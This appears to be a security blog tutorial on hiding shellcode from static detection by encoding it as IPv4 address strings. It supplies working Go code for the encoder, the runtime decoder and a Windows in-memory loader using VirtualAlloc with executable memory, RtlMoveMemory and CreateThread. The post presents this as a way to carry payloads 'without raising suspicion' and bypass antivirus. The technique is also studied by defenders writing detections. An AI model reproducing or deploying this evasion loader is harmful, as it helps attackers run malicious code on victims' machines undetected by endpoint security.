🐚Unusual Shellcode Encoding: Convert Shellcode to IPv4
Encoding shellcode into unusual formats is a fascinating technique to obscure payloads and evade detection. In this blog post, we’ll explore a unique method: converting shellcode into IPv4 addresses and then decoding it back for execution. This approach combines obfuscation with functionality, making it an interesting tool in any security enthusiast's arsenal.
Let’s walk through the encoding and decoding processes.
1: Encoding Shellcode to IPv4 Addresses
Every IPv4 address consists of 4 bytes, represented as a.b.c.d
, where each segment is an 8-bit number (0-255). Since shellcode is just binary data, we can divide it into 4-byte chunks and treat each chunk as an IPv4 address.
Generating IPv4 from Shellcode
Here’s the core function that converts 4 bytes into an IPv4 address:
func GenerateIPv4(a, b, c, d byte) string {
return fmt.Sprintf("%d.%d.%d.%d", a, b, c, d)
}
Encoding the Entire Shellcode
Based on the previous defined logic, it seems obvious that to process the entire shellcode, we need to iterate over it in chunks of 4 bytes:
func GenerateIPv4Output(shellcode []byte) ([]string, error) {
if len(shellcode)%4 != 0 {
return nil, fmt.Errorf("shellcode length must be a multiple of 4")
}
var ipv4Addresses []string
for i := 0; i < len(shellcode); i += 4 {
ip := GenerateIPv4(shellcode[i], shellcode[i+1], shellcode[i+2], shellcode[i+3])
ipv4Addresses = append(ipv4Addresses, ip)
}
return ipv4Addresses, nil
}
Based on this logic, an imput like this:
shellcode := []byte{0x6a, 0x24, 0x5e, 0x48, 0x31, 0xc0, 0xb0, 0x01}
Will after encoding look like this:
var ipv4Array = []string{
"106.36.94.72",
"49.192.176.1",
}
This array can be stored, transmitted, or further processed without raising suspicion. (just pray for one of the IPv4 address not to be on an known malicious IPv4 list)
the full code is available here
2. Decodinng shellcode
Encoding is only half the story. To use the shellcode, we need to store it in our stub as an IPv4 array, convert the IPv4 addresses back into their original binary form at the runtime then execute it.
Decoding a Single IPv4 Address
The DecodeIPv4
function splits an IPv4 string into its components and converts each part back into a byte:
func DecodeIPv4(ip string) ([]byte, error) {
parts := strings.Split(ip, ".")
if len(parts) != 4 {
return nil, fmt.Errorf("invalid IPv4 address fo: %s", ip)
}
var bytes []byte
for _, part := range parts {
num, err := strconv.Atoi(part)
if err != nil || num < 0 || num > 255 {
return nil, fmt.Errorf("invalid byte: %s", part)
}
bytes = append(bytes, byte(num))
}
return bytes, nil
}
Decoding the Entire IPv4 Array
We need to keep the same logic as in the encoding part, and process each IPv4 address in the array, concatenate the decoded bytes, and reconstruct the original shellcode:
func DecodeIPv4Array(ipv4Array []string) ([]byte, error) {
var shellcode []byte
for _, ip := range ipv4Array {
bytes, err := DecodeIPv4(ip)
if err != nil {
return nil, err
}
shellcode = append(shellcode, bytes...)
}
return shellcode, nil
}
this function will make our ip adresses
var ipv4Array = []string{
"106.36.94.72",
"49.192.176.1",
}
Become our original shellcode at runtime !
[]byte{0x6a, 0x24, 0x5e, 0x48, 0x31, 0xc0, 0xb0, 0x01}
3. Run the shellcode
For the rest of the execution flow, you will just need to execute the shellcode in memory like defined here.
// Allocate memory using VirtualAlloc
addr, _, err := virtualAlloc.Call(
0,
uintptr(len(shellcode)),
windows.MEM_COMMIT|windows.MEM_RESERVE,
windows.PAGE_EXECUTE_READWRITE,
)
if addr == 0 {
fmt.Printf("VirtualAlloc failed: %v\n", err)
return
}
fmt.Printf("Memory allocated at: %v\n", addr)
// Copy the shellcode into the allocated memory
_, _, err = rtlMoveMemory.Call(addr, uintptr(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
if err != syscall.Errno(0) {
fmt.Printf("RtlMoveMemory failed: %v\n", err)
return
}
// Create a new thread to execute the shellcode
threadHandle, _, err := createThread.Call(
0, 0, addr, 0, 0, 0,
)
the full code is available here.
3. Conclusion
After these operations, you will finish with a fully functionnal stub that store his payload as an IPv4 array, and so on bypass static detections while keeping a fully functional code.

Last updated